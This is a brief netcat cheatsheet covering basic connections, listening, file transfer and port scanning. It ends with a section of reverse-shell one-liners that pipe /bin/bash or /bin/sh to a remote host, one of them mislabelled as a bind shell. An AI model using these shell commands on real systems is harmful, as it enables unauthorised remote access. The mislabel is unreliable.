Netcat Cheatsheet
The essential commands for debugging, scanning, and data transfer.
Basics
nc -hPrint help and available options.
nc -v [host] [port]Verbose mode. Shows connection status.
nc -l -p [port]Listen mode. Opens a port for incoming connections.
File Transfer
nc -l -p 1234 > outfileReceive a file on port 1234.
nc [host] 1234 < infileSend a file to the listener.
Port Scanning
nc -z -v [host] 1-1000Scan ports 1 to 1000 on the target host.
nc -z -v -u [host] 1-1000UDP port scan.
Reverse Shells (Educational)
nc -e /bin/bash [host] [port]Bind shell (Linux). Execute bash on connection.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [host] [port] >/tmp/fReverse shell using mkfifo (when -e is disabled).